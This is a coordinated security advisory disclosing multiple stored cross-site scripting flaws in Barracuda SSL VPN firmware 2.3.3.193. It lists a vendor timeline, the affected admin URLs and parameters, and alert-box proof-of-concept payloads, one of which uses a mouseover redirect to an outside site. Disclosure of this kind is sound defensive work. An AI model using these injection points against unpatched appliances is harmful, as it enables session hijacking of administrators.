Barracuda SSL VPN 680Vx 2.3.3.193 Multiple Script Injection Vulnerabilities


Vendor: Barracuda Networks, Inc.
Product web page: https://www.barracuda.com
Affected version: 2.3.3.193, Model: V680

Summary: The Barracuda SSL VPN is a powerful plug-and-play appliance
purpose-built to provide remote users with secure access to internal
network resources.

Desc: Barracuda SSL VPN suffers from multiple stored XSS vulnerabilities
when parsing user input to several parameters via POST method. Attackers
can exploit these weaknesses to execute arbitrary HTML and script code in
a user's browser session.

Tested on: Linux 2.4.x, Jetty Web Server


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Vendor status:

[05.03.2013] Vulnerabilities discovered.
[16.03.2013] Contact with the vendor.
[17.03.2013] Vendor replies.
[19.03.2013] Working with the vendor.
[28.03.2013] Vendor confirms issues, track BNSEC-1239.
[15.04.2013] Asked vendor for status update.
[17.04.2013] Vendor replies.
[18.04.2013] Confirming that the issues are still present on the demo test sites. (v2.3.3.193)
[07.05.2013] Vendor informs that the version 2.3.3.216 since 13.03.2013 is patched from these issues.
[08.05.2013] Coordinating with the vendor.
[08.06.2013] Vendor confirms that as of firmware version 2.3.3.216 the issues have been resolved.
[01.07.2013] Coordinated public security advisory released.



Advisory ID: ZSL-2013-5147
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5147.php

Barracuda Labs: http://barracudalabs.com/?page_id=3456
                http://barracudalabs.com/?page_id=3458


05.03.2013

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====================================================================================


https://server/showSystemConfiguration.do?categoryId=821

CRLs ADD: "><script>alert(1);</script>

Parameter: propertyItem[25].value

====================================================================================


https://server/showAuditReports.do (Reports)

Username ADD: "><script>alert(1);</script>

Parameters: user
            account

====================================================================================


https://server/showSystemConfiguration.do?categoryId=14800

Files to Scan ADD: "><script>alert(1);</script>
Files to Exclude from Scanning ADD: "><script>alert(2);</script>
Files to Block ADD: "><script>alert(3);</script>

Parameters: propertyItem[1].value
            propertyItem[2].value
            propertyItem[3].value

====================================================================================


https://server/showSystemConfiguration.do?categoryId=810

Public Internal Web Sites ADD: "><script>alert(1);</script>
VPN Port ADD: "><script>alert(2);</script>

Parameters: propertyItem[1].value
            propertyItem[8].value

====================================================================================


https://server/showAvailableAccounts.do

Available Groups ADD: "><script>alert(1);</script>

Parameter: selectedRoles

====================================================================================


https://server/editMessage.do?actionTarget=sendMessageToUser&resourceName=user&realm=1&parent_name=edit

Account ADD: "><script>alert(1);</script>
Group ADD: "><script>alert(2);</script>
Policy ADD: "><script>alert(3);</script>

Parameter: policy

====================================================================================


https://server/editAccount.do?actionTarget=edit&username=guest&parent_name=edit

Available Groups ADD: "><script>alert(1);</script>
Authorized IP Addresses ADD: "><script>alert(2);</script>
Other Computers (Waks-On-LAN) ADD: "><script>alert(3);</script>

Parameters: selectedRoles
            propertyItem[1].value
            propertyItem[6].value

====================================================================================


https://server/editMessage.do?actionTarget=sendMessageToRole&resourceName=%22onmouseover=prompt%28%22XSS3%22%29%3E%0A%0DB&realm=9999&parent_name=edit
https://server/editMessage.do?actionTarget=sendMessageToRole&resourceName=CLICK%20ME%20PLEASE%20!!!%20ZOMG%20XSS%20INVISIBLE%20%22onmouseover=prompt%28document.location=%27http://zeroscience.mk%27%29%3E&realm=9999&parent_name=edit

Group ADD: "><script>alert(1);</script>

Parameter: resourceName

====================================================================================